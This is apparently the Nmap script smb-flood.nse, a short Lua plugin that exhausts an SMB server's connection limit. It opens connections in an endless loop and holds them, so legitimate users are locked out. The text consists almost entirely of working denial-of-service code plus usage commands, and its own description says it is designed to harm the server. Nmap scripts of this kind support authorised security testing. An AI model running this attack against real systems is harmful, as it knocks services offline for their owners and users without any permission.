local smb = require "smb" local stdnse = require "stdnse" local table = require "table" description = [[ Exhausts a remote SMB server's connection limit by by opening as many connections as we can. Most implementations of SMB have a hard global limit of 11 connections for user accounts and 10 connections for anonymous. Once that limit is reached, further connections are denied. This script exploits that limit by taking up all the connections and holding them. This works better with a valid user account, because Windows reserves one slot for valid users. So, no matter how many anonymous connections are taking up spaces, a single valid user can still log in. This is *not* recommended as a general purpose script, because a) it is designed to harm the server and has no useful output, and b) it never ends (until timeout). ]] --- -- @usage -- nmap --script smb-flood.nse -p445 -- sudo nmap -sU -sS --script smb-flood.nse -p U:137,T:139 -- -- @output -- n/a ----------------------------------------------------------------------- author = "Ron Bowes" copyright = "Ron Bowes" license = "Same as Nmap--See https://nmap.org/book/man-legal.html" categories = {"intrusive","dos"} dependencies = {"smb-brute"} hostrule = function(host) return smb.get_port(host) ~= nil end action = function(host) local states = {} repeat local status, result = smb.start_ex(host, true, true) if(status) then table.insert(states, result) -- Keep the result so it doesn't get garbage cleaned stdnse.debug1("Connection successfully opened") stdnse.sleep(.1) else stdnse.debug1("Connection failed: %s", result) stdnse.sleep(1) end until false end